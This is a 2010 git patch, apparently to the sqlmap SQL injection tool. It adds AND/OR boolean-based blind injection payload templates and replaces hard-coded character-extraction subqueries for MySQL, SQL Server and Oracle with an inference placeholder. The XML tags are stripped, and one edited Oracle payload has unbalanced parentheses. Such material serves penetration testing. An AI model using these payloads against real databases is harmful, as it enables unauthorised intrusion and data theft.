From 41e1b95c6c6d5da2e37445cb9bb402a212023c1b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sun, 5 Dec 2010 11:25:44 +0000 Subject: [PATCH] Minor code refactoring and finally make exploitation work also on OR boolean-based injections --- lib/core/agent.py | 4 +--- xml/payloads.xml | 54 ++++++++++++++++++++++++++++++++++++++++------- xml/queries.xml | 18 ++++++++-------- 3 files changed, 56 insertions(+), 20 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 02e4a66e4..a177d5fcb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -213,9 +213,7 @@ class Agent: payload = payload.replace("[ORIGVALUE]", origvalue) if kb.dbms is not None: - # NOTE: ugly hack due to queries.xml's tag - # starting with 'AND ' string - inferenceQuery = queries[kb.dbms].inference.query[4:] + inferenceQuery = queries[kb.dbms].inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) return payload diff --git a/xml/payloads.xml b/xml/payloads.xml index 35483c1b5..73cd4a8d3 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -402,6 +402,7 @@ Formats: 1 1 1 + AND [INFERENCE] AND [RANDNUM]=[RANDNUM] @@ -410,6 +411,40 @@ Formats: + + AND boolean-based blind - WHERE clause (MySQL comment) + 1 + 4 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + # + + + AND [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE clause (Generic comment) + 1 + 4 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + -- + + + AND [RANDNUM]=[RANDNUM1] + + + OR boolean-based blind - WHERE clause 1 @@ -417,6 +452,7 @@ Formats: 3 1 2 + OR [INFERENCE] OR [RANDNUM]=[RANDNUM1] @@ -432,6 +468,7 @@ Formats: 3 1 2 + OR [INFERENCE] OR [RANDNUM]=[RANDNUM1] # @@ -451,6 +488,7 @@ Formats: 3 1 2 + OR [INFERENCE] OR [RANDNUM]=[RANDNUM1] -- @@ -488,7 +526,7 @@ Formats: 1 2,3 3 - (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) @@ -508,7 +546,7 @@ Formats: 1 2,3 3 - (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) @@ -527,7 +565,7 @@ Formats: 1 3 3 - (SELECT (CASE WHEN (ASCII(SUBSTRING((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) @@ -546,7 +584,7 @@ Formats: 1 3 3 - (SELECT (CASE WHEN (ASCII(SUBSTR((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) + (SELECT (CASE WHEN ([INFERENCE]) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) @@ -586,7 +624,7 @@ Formats: 1 2,3 1 - , (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) @@ -606,7 +644,7 @@ Formats: 1 2,3 1 - , (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) @@ -625,7 +663,7 @@ Formats: 1 3 1 - , (SELECT (CASE WHEN (ASCII(SUBSTRING((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) @@ -644,7 +682,7 @@ Formats: 1 3 1 - , (SELECT (CASE WHEN (ASCII(SUBSTR((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) + , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) diff --git a/xml/queries.xml b/xml/queries.xml index 25220a0ca..a69ce77d7 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -24,7 +24,7 @@ - + @@ -96,7 +96,7 @@ - + @@ -162,7 +162,7 @@ - + @@ -226,7 +226,7 @@ - + @@ -306,7 +306,7 @@ - + @@ -353,7 +353,7 @@ - + @@ -389,7 +389,7 @@ - + @@ -432,7 +432,7 @@ - + @@ -473,7 +473,7 @@ - +